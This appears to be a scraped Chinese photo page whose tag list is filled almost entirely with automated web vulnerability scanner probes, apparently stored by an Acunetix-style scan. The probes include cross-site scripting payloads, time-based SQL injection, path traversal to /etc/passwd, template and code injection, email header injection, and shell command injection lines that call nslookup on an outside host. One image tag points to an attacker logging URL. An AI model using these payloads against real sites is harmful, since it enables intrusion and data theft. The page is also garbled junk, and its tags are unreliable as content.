×
照片标签：
- 1
- e
- GwQ1PXBm
- 1<esi:include src="http://bxss.me/rpb.png"/>
- ${9999721+9999209}
- 1%0abcc:074625.17824-4571.17824.e708b.19234.2@bxss.me
- response.write(9830959*9368346)
- to@example.com>%0d%0abcc:074625.17824-4572.17824.e708b.19234.2@bxss.me
- '+response.write(9830959*9368346)+'
- ../../../../../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../windows/win.ini
- '.gethostbyname(lc('hitfk'.'pwphlsjf50933.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(67).chr(111).chr(70).'
- "+response.write(9830959*9368346)+"
- ".gethostbyname(lc("hitkj"."kpmvstey8a19b.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(68).chr(118).chr(75)."
- 1&n939537=v955429
- ../1
- )
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- !(()&&!|*|*|
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- 1some_inexistent_file_with_long_name%00.jpg
- ^(#$!@#$)(()))******
- HttP://bxss.me/t/xss.html?%00
- Http://bxss.me/t/fit.txt
- /xfs.bxss.me
- bxss.me/t/xss.html?%00
- http://bxss.me/t/fit.txt%3F.jpg
- bxss.me
- "+"A".concat(70-3).concat(22*4).concat(98).concat(76).concat(110).concat(81)+(require"socket" Socket.gethostbyname("hitfz"+"ihdnufcz658ec.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(104).concat(83).concat(99).concat(65)+(require'socket' Socket.gethostbyname('hitlh'+'ogqellsue2f2b.bxss.me.')[3].to_s)+'
- '"
- <!--
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- echo gukfiu$()\ hgvzqj\nz^xyu||a #' &echo gukfiu$()\ hgvzqj\nz^xyu||a #|" &echo gukfiu$()\ hgvzqj\nz^xyu||a #
- ';print(md5(31337));$a='
- ";print(md5(31337));$a="
- &echo ytjskw$()\ ltfbde\nz^xyu||a #' &echo ytjskw$()\ ltfbde\nz^xyu||a #|" &echo ytjskw$()\ ltfbde\nz^xyu||a #
- ${@print(md5(31337))}
- ${@print(md5(31337))}\
- |echo baaeew$()\ znxwfa\nz^xyu||a #' |echo baaeew$()\ znxwfa\nz^xyu||a #|" |echo baaeew$()\ znxwfa\nz^xyu||a #
- (nslookup hitbjdydimhlp547fa.bxss.me||perl -e "gethostbyname('hitbjdydimhlp547fa.bxss.me')")
- '.print(md5(31337)).'
- $(nslookup hitiwigviyhywd2339.bxss.me||perl -e "gethostbyname('hitiwigviyhywd2339.bxss.me')")
- &(nslookup hitqxgcousulecb465.bxss.me||perl -e "gethostbyname('hitqxgcousulecb465.bxss.me')")&'\"`0&(nslookup hitqxgcousulecb465.bxss.me||perl -e "gethostbyname('hitqxgcousulecb465.bxss.me')")&`'
- |(nslookup hituunovlzeaod4aac.bxss.me||perl -e "gethostbyname('hituunovlzeaod4aac.bxss.me')")
- `(nslookup hitksgpwsdjco3768d.bxss.me||perl -e "gethostbyname('hitksgpwsdjco3768d.bxss.me')")`
- 1'"()&%<acx><ScRiPt >6pVJ(9529)</ScRiPt>
- '"()&%<acx><ScRiPt >6pVJ(9147)</ScRiPt>
- 19420853
- acu9406%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca9406
- acux10437%C0%BEz1%C0%BCz2a%90bcxuca10437
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu6990%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca6990
- acux3375%C0%BEz1%C0%BCz2a%90bcxuca3375
- acu8826%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca8826
- acux8968%C0%BEz1%C0%BCz2a%90bcxuca8968
- 1%22onmouseover=6pVJ(97272)%22
- 1"onmouseover=6pVJ(97482)"
- 1" y9mf=6pVJ([!+!]) gEu="
- 1\u0022onmouseover=6pVJ(98053)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%36%70%56%4A%28%39%31%31%30%34%29%22
- 1"sTYLe='acu:Expre/**/SSion(6pVJ(9312))'bad="
- 1"><script>6pVJ(9605)</script>
- 1<ScRiPt >6pVJ(9480)</ScRiPt>
- 1<W1TSBR>S8454[!+!]</W1TSBR>
- 1<script>6pVJ(9035)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%36%70%56%4A%28%39%35%32%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >6pVJ(9293)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9638></ScRiPt>
- 1< ScRiPt >6pVJ(9568)</ScRiPt>
- 1<isindex type=image src=1 onerror=6pVJ(9712)>
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9907'>
- 1<body onload=6pVJ(9386)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=6pVJ(9847)>
- 1<img src=xyz OnErRor=6pVJ(9936)>
- 1<img/src=">" onerror=alert(9528)>
- %31%3C%53%63%52%69%50%74%20%3E%36%70%56%4A%289994%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\6pVJ(9776)\u003C/sCripT\u003E
- 1<ScRiPt>6pVJ(9934)</sCripT>
- 1<input autofocus onfocus=6pVJ(9809)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(6pVJ(9722))}
- 1757DA <ScRiPt >6pVJ(9547)</ScRiPt>
- 1<WSAZ0N>ARMEG[!+!]</WSAZ0N>
- 1<ifRAme sRc=9157.com></IfRamE>
- 1<aI9sY3t x=9516>
- 1c7ChiBeO
- 1<img sRc='http://attacker-9399/log.php?
- 1<assYAJS<
- sbhD1IDF
- response.write(9093247*9663755)
- '+response.write(9093247*9663755)+'
- "+response.write(9093247*9663755)+"
- echo mvzvnt$()\ qtuizd\nz^xyu||a #' &echo mvzvnt$()\ qtuizd\nz^xyu||a #|" &echo mvzvnt$()\ qtuizd\nz^xyu||a #
- &echo emlfvg$()\ bspqkd\nz^xyu||a #' &echo emlfvg$()\ bspqkd\nz^xyu||a #|" &echo emlfvg$()\ bspqkd\nz^xyu||a #
- 1 bcc:074625.17824-5473.17824.a0a12.19234.2@bxss.me
- |echo azxetb$()\ wigslz\nz^xyu||a #' |echo azxetb$()\ wigslz\nz^xyu||a #|" |echo azxetb$()\ wigslz\nz^xyu||a #
- (nslookup hithzgebnokgh18f68.bxss.me||perl -e "gethostbyname('hithzgebnokgh18f68.bxss.me')")
- to@example.com> bcc:074625.17824-5474.17824.a0a12.19234.2@bxss.me
- $(nslookup hitcazlfmkpjna19d7.bxss.me||perl -e "gethostbyname('hitcazlfmkpjna19d7.bxss.me')")
- &(nslookup hitksymblbyeofdeb8.bxss.me||perl -e "gethostbyname('hitksymblbyeofdeb8.bxss.me')")&'\"`0&(nslookup hitksymblbyeofdeb8.bxss.me||perl -e "gethostbyname('hitksymblbyeofdeb8.bxss.me')")&`'
- |(nslookup hitnuzpfeltti8f891.bxss.me||perl -e "gethostbyname('hitnuzpfeltti8f891.bxss.me')")
- `(nslookup hitvuhccwnchhd48cf.bxss.me||perl -e "gethostbyname('hitvuhccwnchhd48cf.bxss.me')")`
- ${10000298+9999744}
- 12345'"\'\")
- 1&n970194=v979721
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- '"()
- 1some_inexistent_file_with_long_name .jpg
- http://bxss.me/t/fit.txt?.jpg
- '.gethostbyname(lc('hitbp'.'zxukfopl2cc3c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(78).chr(120).chr(86).'
- ".gethostbyname(lc("hitbp"."itfruydn73824.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(68).chr(107).chr(88)."
- "+"A".concat(70-3).concat(22*4).concat(102).concat(67).concat(104).concat(88)+(require"socket" Socket.gethostbyname("hitbb"+"rdlteizuae5e8.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(107).concat(69).concat(114).concat(76)+(require'socket' Socket.gethostbyname('hitmf'+'ouisefffcb2e9.bxss.me.')[3].to_s)+'
- '
- "
- bibs
- bibs/.
- 1'"()&%<acx><ScRiPt >Jg1U(9229)</ScRiPt>
- '"()&%<acx><ScRiPt >Jg1U(9616)</ScRiPt>
- 19484608
- 1'"()&%<acx><ScRiPt >1ttb(9760)</ScRiPt>
- '"()&%<acx><ScRiPt >1ttb(9774)</ScRiPt>
- 19201973
- acu2481%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2481
- acux9652%C0%BEz1%C0%BCz2a%90bcxuca9652
- R7DoEtjQ
- -1 OR 2+218-218-1=0+0+0+1 --
- -1 OR 2+477-477-1=0+0+0+1
- -1' OR 2+149-149-1=0+0+0+1 --
- -1' OR 2+877-877-1=0+0+0+1 or 'PxfmHMJi'='
- -1" OR 2+313-313-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- ajHggKwN
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- -1 OR 2+771-771-1=0+0+0+1 --
- -1 OR 2+94-94-1=0+0+0+1
- -1' OR 2+862-862-1=0+0+0+1 --
- -1' OR 2+922-922-1=0+0+0+1 or 'Xf955UzB'='
- -1" OR 2+647-647-1=0+0+0+1 --
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1; waitfor delay '0:0:15' --
- \<\%\=\{\{\=\{\@\{\#\{\$\{acx\}\}\%\>
- -1); waitfor delay '0:0:15' --
- 1 waitfor delay '0:0:15' --
- r3y20mmD'; waitfor delay '0:0:15' --
- -1
- -5 OR 17=(SELECT 17 FROM PG_SLEEP(15))--
- acu7095%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca7095
- -1)
- acux9589%C0%BEz1%C0%BCz2a%90bcxuca9589
- -5) OR 449=(SELECT 449 FROM PG_SLEEP(15))--
- -1)) OR 163=(SELECT 163 FROM PG_SLEEP(15))--
- seWz8j3O'
- aXlX4dbY' OR 437=(SELECT 437 FROM PG_SLEEP(15))--
- -5 OR 961=(SELECT 961 FROM PG_SLEEP(15))--
- dhzZS7R4') OR 905=(SELECT 905 FROM PG_SLEEP(15))--
- -5) OR 688=(SELECT 688 FROM PG_SLEEP(15))--
- 2I3A39VS')) OR 527=(SELECT 527 FROM PG_SLEEP(15))--
- -1)) OR 11=(SELECT 11 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- acu2222%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2222
- TpEwlgqg' OR 837=(SELECT 837 FROM PG_SLEEP(15))--
- acux5274%C0%BEz1%C0%BCz2a%90bcxuca5274
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- kjhjvghU') OR 392=(SELECT 392 FROM PG_SLEEP(15))--
- '||(select 1 from (select pg_sleep(15))x)||'
- 1%22onmouseover=1ttb(91222)%22
- 1"onmouseover=1ttb(91222)"
- 1" GWxK=1ttb([!+!]) 3yy="
- 1\u0022onmouseover=1ttb(97043)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%31%74%74%62%28%39%30%31%32%34%29%22
- YQumuuha')) OR 264=(SELECT 264 FROM PG_SLEEP(15))--
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1"sTYLe='acu:Expre/**/SSion(1ttb(9900))'bad="
- 1"><script>1ttb(9559)</script>
- @@JIYJr
- 1<ScRiPt >1ttb(9850)</ScRiPt>
- 1<WX2AGH>IQQUS[!+!]</WX2AGH>
- 1<script>1ttb(9784)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%31%74%74%62%28%39%37%34%32%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >1ttb(9360)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9373></ScRiPt>
- 1< ScRiPt >1ttb(9171)</ScRiPt>
- 1<isindex type=image src=1 onerror=1ttb(9651)>
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9525'>
- 1<body onload=1ttb(9378)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=1ttb(9155)>
- 1<img src=xyz OnErRor=1ttb(9062)>
- 1<img/src=">" onerror=alert(9157)>
- %31%3C%53%63%52%69%50%74%20%3E%31%74%74%62%289792%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\1ttb(9257)\u003C/sCripT\u003E
- 1 %2527%2522
- 1<ScRiPt>1ttb(9288)</sCripT>
- @@O6l37
- 1<input autofocus onfocus=1ttb(9932)>
- 1}body{acu:Expre/**/SSion(1ttb(9820))}
- 1FYFwU <ScRiPt >1ttb(9641)</ScRiPt>
- 1<WUOS2B>GTW2M[!+!]</WUOS2B>
- 1<ifRAme sRc=9088.com></IfRamE>
- 1<a76FH88 x=9105>
- 1<img sRc='http://attacker-9841/log.php?
- 1<a4cpKsN<
微信扫一扫, 保存到手机
